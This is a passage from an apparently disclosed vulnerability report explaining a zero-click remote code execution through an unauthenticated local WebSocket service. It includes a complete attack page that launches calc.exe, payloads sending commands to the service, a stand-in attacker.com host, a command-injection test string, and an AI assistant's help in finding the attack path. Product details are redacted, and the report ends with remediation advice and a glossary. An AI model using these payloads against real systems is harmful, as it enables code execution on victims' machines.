To see exactly how input was treated, the researcher had a simple EXE written that saves its arguments to a file, then replaced the legitimate EXE with it in the registry. This is a classic testing trick: swap the real program for a harmless one that records what it was asked to do. The result:

Text
Command line: "C:\...\fakered.exe" /SSO:123 && calc
Args: /SSO:123 && calc

What it shows:

  • The command line starts with the program path, fakered.exe, in quotes.
  • The arguments received are exactly /SSO:123 && calc, as one piece of text.
  • The && was not interpreted. The AUTH route is a dead end for injection.

The final shot

The researcher reached this point without a working exploit. They say they wrote this part on purpose: most write-ups only show the successes, but failures teach you where not to look. The lesson is not to give up while there are still methods to try.

So they went back to a method that had previously returned FAIL:

JavaScript
var ws = new WebSocket('ws://[redacted]:3100');
ws.onopen = function() {
    ws.send(JSON.stringify({RUN: 'APP', URL: 'https://attacker.com'}));
};
ws.onmessage = function(e) {
    console.log(e.data);
    ws.close();
};

Line by line:

  • Open a WebSocket to the local service.
  • Send RUN: 'APP' with URL: 'https://attacker.com'. attacker.com is a stand-in for a site the attacker controls.
  • Print the answer and close.

At first the researcher assumed there was a whitelist: a list of allowed values, here allowed URLs. But they wanted to check that assumption. Surprisingly, the AI then provided more WebSocket methods that had not been shown before. Asked why, it replied:

You're right. I gave you {RUN: 'APP', URL: '...'} which always returns FAIL. I should have tested all the app name variants from the binary strings: REDACTED1, REDACTED2, REDACTED3, REDACTED4. When the app isn't installed, the code falls through to explorer.exe "{URL}" which is the actual RCE vector.

In plain words: the APP method expects the name of an installed application. The AI had only tried one name, which was not installed, so the method always failed. The binary's strings contained several app name variants, REDACTED1 through REDACTED4. When the named app is not installed, the code does not stop; it falls through to the explorer.exe "{URL}" line found in the string dump. That fall-through is the actual attack path.

One of the additional methods was:

JavaScript
var ws = new WebSocket('ws://[redacted]:3100');
ws.onopen = function() {
    ws.send(JSON.stringify({RUN: 'DRIVE', URL: 'https://redacted.com'}));
};
ws.onmessage = function(e) {
    console.log(e.data);
    ws.close();
};

Line by line:

  • Open a WebSocket to the local service.
  • Send RUN: 'DRIVE' with URL: 'https://redacted.com'.
  • Print the answer and close.

Running it opened the browser at that URL. That is already a useful trick: an attacker can make the victim's browser open any page. But the real prize came next. The final payload was:

Text
{RUN: 'DRIVE', URL: 'calc.exe'}

Instead of a web address, the URL value is the name of a program. Because the value is passed to explorer.exe, and explorer.exe opens whatever it is given, it launches the calculator. That is code execution: the attacker chose a program and it ran on the victim's machine.

The full attack page

The exploitation code is a connection to ws://[redacted]:3100 and a method sent to it:

HTML
<html>
<head>
    <title>RCE Demo</title>
</head>
<body>
    <h1>RCE Demo</h1>
    <script>
        function rce(url) {
            var ws = new WebSocket('ws://[redacted]:3100');
            ws.onopen = function() {
                ws.send(JSON.stringify({RUN: 'DRIVE', URL: url}));
            };
            ws.onmessage = function(e) {
                document.getElementById('log').innerHTML += url + ' -> ' + JSON.parse(e.data).RESULT + '<br>';
                ws.close();
            };
            ws.onerror = function() {
                document.getElementById('log').innerHTML += 'Service not running<br>';
            };
        }
        rce('calc.exe');
    </script>
    <div id="log" style="font-family:monospace;margin-top:20px;"></div>
</body>
</html>

Line by line:

  • <html>, <head>, <title>, <body>, <h1> are ordinary HTML tags. HTML is the language web pages are written in. The title shows in the browser tab; the h1 is a big heading.
  • <script> starts a block of JavaScript.
  • function rce(url) { declares a function named rce (short for remote code execution) that takes a URL or program name.
  • var ws = new WebSocket('ws://[redacted]:3100'); opens a WebSocket to the local service.
  • ws.send(JSON.stringify({RUN: 'DRIVE', URL: url})); sends the DRIVE command with the given value.
  • }; ends the open handler.
  • ws.onmessage = function(e) { runs when a reply arrives.
  • document.getElementById('log').innerHTML += url + ' -> ' + JSON.parse(e.data).RESULT + '<br>'; adds a line to the page's log area showing the value and the result. JSON.parse turns the reply text back into an object; .RESULT reads its result field; <br> is a line break.
  • ws.close(); closes the connection.
  • }; ends the message handler.
  • ws.onerror = function() { runs if the connection fails, for example because the service is not running.
  • document.getElementById('log').innerHTML += 'Service not running<br>'; writes that message to the log.
  • }; ends the error handler.
  • } ends the rce function.
  • rce('calc.exe'); calls the function with the calculator program.
  • </script> ends the script block.
  • <div id="log" ...></div> is an empty box on the page where the log lines appear. The style attribute makes the text monospace, like a terminal.

The attack flow:

  1. The victim has REDACTED installed.
  2. The victim visits any web page the attacker controls.
  3. The page's JavaScript connects to ws://[redacted]:3100. There is no origin check.
  4. It sends {RUN: 'DRIVE', URL: 'calc.exe'}.
  5. REDACTED checks whether the named app is installed. It is not.
  6. The code falls through to explorer.exe "calc.exe", and the calculator opens.

Zero clicks. Zero user interaction. The WebSocket connection and the command execution happen automatically when the page loads. The victim does not have to click anything, type anything or approve anything.

Why this class of bug keeps appearing

The researcher points out that this is not new. Tavis Ormandy reported the same pattern in Electrum, a Bitcoin wallet program, in an article from 2018. Electrum ran a local JSON-RPC server with no origin check. JSON-RPC is a way for programs to call each other using JSON messages. Any website a user visited could scan for the port and reach the wallet's local server. The shape is identical to what we have here; only the gadget changed, from payto (a wallet command) to explorer.exe.

Eight years on, the same anti-pattern still ships in production binaries: a localhost service that trusts every caller because "it's only listening on [redacted]", next to a powerful API that does not ask who is on the other end. If you ship one of these, the report recommends:

  • Validate the Origin header, or
  • Require a per-instance token in the URL, or
  • Do both.

A per-instance token is a random value generated for each installation, so an attacker cannot guess it. It is like a door key that is different for every house.

The other point is about AI. AI did not find this bug; the researcher did, by knowing what to look for and where this class of bug lives. But it shortened every step in between: the strings dump, the IL disassembly, the encryption-key recovery, the WebSocket method enumeration. IL stands for Intermediate Language, the low-level instruction set .NET programs compile to. Two years earlier, the researcher says they would have given up at the EXE download, or run it dynamically and missed the gadget entirely. The skill that still matters is the same one it always was: knowing the patterns and not giving up when the obvious method returns FAIL. What has changed is the cost of acting on that knowledge.

Glossary

  • API (application programming interface): a set of addresses and rules a program offers so other programs can ask it to do things.
  • Application: a program, here a website with software behind it.
  • Binary: a compiled program file that a computer can run.
  • Callback: a function you hand to another function, to be run when something happens, such as when a reply arrives.
  • Class: a building block in object-oriented programming that bundles code and data for one job.
  • CLR header: a marker at the start of a .NET program that identifies it as .NET code.
  • Command injection: sneaking extra commands into a value that gets passed to a shell, so the shell runs them too.
  • Costura: a tool that packs a program's library files inside the main program file.
  • CSRF (Cross-Site Request Forgery): another site making your browser send a request you did not intend.
  • CSWSH (Cross-Site WebSocket Hijacking): another site taking over a WebSocket connection to a service, because the service does not check where the connection came from.
  • DLL: a library file that programs load to get extra features.
  • Dependency: another piece of software a program needs in order to work.
  • Disassembly: turning machine code back into a list of low-level instructions a human can read.
  • Dynamic analysis: running a program and observing what it does.
  • ECB / CBC: two standard modes for applying encryption to data longer than one block. ECB encrypts each block independently and is weak; CBC chains blocks so patterns are hidden.
  • Endpoint: a specific address on a server that does a specific job.
  • Format string: a piece of text with placeholders such as {0} that get replaced with values at runtime.
  • Framework: a collection of ready-made code a developer builds on.
  • Function: a named block of code you can call whenever you need it.
  • Fuzzing: trying many variations automatically and watching for responses that stand out.
  • Hash: a fingerprint of a file, used to check it is the right one and has not been tampered with.
  • Hexadecimal: base 16, a common way to write memory addresses, with a 0x prefix.
  • Hooking: intercepting a function and making it do what you want.
  • HTML: the language web pages are written in.
  • HTTP: the normal protocol browsers and servers use to exchange web pages and data.
  • IL (Intermediate Language): the low-level instruction set .NET programs compile to.
  • Initialisation vector (IV): a starting value used alongside a key so each encryption is different.
  • Installer: the program that installs software.
  • JavaScript: the programming language that runs inside web pages.
  • JSON: a simple text format for structured data.
  • JSON-RPC: a way for programs to call each other using JSON messages.
  • Key: the secret value that locks and unlocks encryption.
  • Key derivation: turning a password or passphrase into a proper key of the right length.
  • Key schedule: the recipe that turns a key into the series of values used during encryption.
  • Launched process: a running program started by another program.
  • Loopback address ([redacted]): an address that always means "this same computer".
  • Metadata: extra information a program carries about itself, such as its types and text.
  • Mode (encryption): a standard way of applying encryption to data longer than one block.
  • .NET assembly: a program built on Microsoft's .NET platform.
  • OpenSSL: a widely used toolkit for encryption.
  • Origin header: a value the browser sends saying which website a request came from.
  • Padding: filler added to data so it fits the fixed block size encryption needs.
  • Parameter: a value sent along with a request.
  • Parser: the code that splits input into pieces and interprets it.
  • Path traversal: using .. and similar tricks to escape an intended folder and reach other files.
  • Penetration test: a company paying a security expert to try to break into its own systems, legally, so it can fix problems first.
  • Plaintext: readable, decrypted content.
  • Port: a numbered door on a computer that a service listens on.
  • POST: a request that sends data, as opposed to a GET which just asks for a page.
  • PowerShell: a scripting tool built into Windows that can automate tasks and load .NET code.
  • Process: a running program.
  • Prompt: the instruction you type to an AI.
  • Query string: the part of a web address after the ?, where sites often pass information.
  • RCE (remote code execution): running your own code on someone else's machine.
  • Referrer: a small piece of information the browser sends saying which page you came from.
  • Reflection: a .NET feature that lets a program inspect and use another program's contents at runtime.
  • Registry path: a location in the Windows Registry, a database where programs store settings.
  • Reverse engineering: turning a compiled program back into something a human can read and understand.
  • Scanner: an automated tool that sends test requests looking for common weaknesses.
  • Server: a computer that stores a site or service and answers requests.
  • Shell: the command interpreter, such as cmd.exe, that understands &&, | and similar syntax.
  • SQL: the language databases use to store and fetch data.
  • SQL injection (SQLi): sneaking database commands into a place where the site expects ordinary input.
  • SSL/TLS: the encryption behind the padlock in your address bar.
  • Static analysis: reading a program without running it.
  • Structure: a bundle of related values in a program.
  • Token: a short piece of data that proves who you are, or, in .NET, a number that points to an entry in a table.
  • URL: a web address.
  • User strings: the literal text written in a program's source code, stored in the #US stream.
  • Web application: a website with a program behind it.
  • WebSocket: a way for a browser and a server to keep a two-way conversation open.
  • Whitelist: a list of allowed values.
  • ws://: the address prefix for a WebSocket connection.

More by Yashar Shahinzadeh

View all

4 more disclosed reports, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.